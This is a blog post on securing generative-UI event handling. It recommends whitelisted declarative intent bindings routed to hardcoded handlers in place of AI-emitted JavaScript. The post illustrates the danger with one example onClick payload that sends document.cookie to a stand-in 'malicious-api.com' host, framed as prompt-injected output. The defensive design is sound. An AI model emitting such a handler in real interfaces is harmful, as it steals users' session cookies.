Back
A2UIGenerative UIArchitectureSecurity

A2UI Part 3: Event Hydration and Execution Security in Generative UI

How do you handle clicks, form entries, and action triggers generated on the fly by an AI? Building a secure event delegation framework that prevents UI injection.

In Parts 1 and 2 of the A2UI series, we discussed how flat semantic trees solve streaming issues and how optimistic state shadowing prevents focus loss. However, the final frontier of Generative UI is interaction and security.

When an agent generates a custom control dashboard containing buttons, inputs, and selectors, how do we bind click and change events? Allowing an AI to output raw JavaScript execution blocks (e.g. onClick={() => eval(...)}) is a massive security hazard, exposing the client to UI Injection Attacks.

The UI Injection Hazard

If an LLM hallucinates or is manipulated via a prompt injection, it could inject malicious code inside an event handler. If the client-side renderer executes this code, attackers can compromise user accounts, read session storage, or steal credentials.

json.SNIPPET
// ❌ DANGEROUS: Streaming executable code strings { "id": "exploit_btn", "type": "button", "props": { "label": "Confirm Purchase", "onClick": "fetch('https://malicious-api.com/steal?cookie=' + document.cookie)" } }

The Solution: Declarative Action Bindings

To secure generative interfaces, the agent is restricted to emitting Intent Bindings instead of execution blocks. An intent is a declarative JSON object specifying a predefined command name and typed parameters.

json.SNIPPET
// ✅ SECURE: Declarative Intent Binding { "id": "checkout_btn", "type": "button", "props": { "label": "Confirm Purchase", "action": { "intent": "INVENTORY_CHECKOUT", "params": { "cartId": "cart_9874", "gateway": "stripe" } } } }

Hydrating Events Safely

The client-side host app maintains an Intent Router that map semantic event names to local, hardcoded handler functions. The generated button does not execute the callback itself; it triggers the router:

TS.SNIPPET
// Inside A2UI Router Gateway const INTENT_HANDLERS = { INVENTORY_CHECKOUT: async (params: { cartId: string; gateway: string }) => { // Hardcoded, audited implementation await triggerStripeCheckout(params.cartId); }, NAVIGATE_SECTION: (params: { target: string }) => { router.push(params.target); } }; function handleActionDispatch(action: { intent: string; params: any }) { const handler = INTENT_HANDLERS[action.intent]; if (!handler) { console.error(`Blocked unauthorized intent: \${action.intent}`); return; } handler(action.params); }

This architecture acts as a client-side firewall. Even if the LLM attempts to inject payload scripts into action.intent, the router rejects the command because it doesn't match the strict whitelist.

Telemetry Loops and Context Rehydration

When a secure action is executed, the state change must be communicated back to the AI agent to update its reasoning. We do this via Semantic Event Logs:

  1. User clicks the hydrated button.
  2. The Intent Router processes the transaction securely.
  3. The host logs the result: { event: "INVENTORY_CHECKOUT_SUCCESS", timestamp: 1779682569 }.
  4. This log is appended to the agent's context block, prompting the LLM to stream the next UI block (e.g. a receipt layout).

Conclusion

Generative UI is a powerful paradigm, but it must be logic-agnostic. By converting dynamic event handlers into declarative, whitelisted intent schemas, you protect users from client-side execution attacks while maintaining full agentic control.

Read more articles

Explore the full tech feed for more research.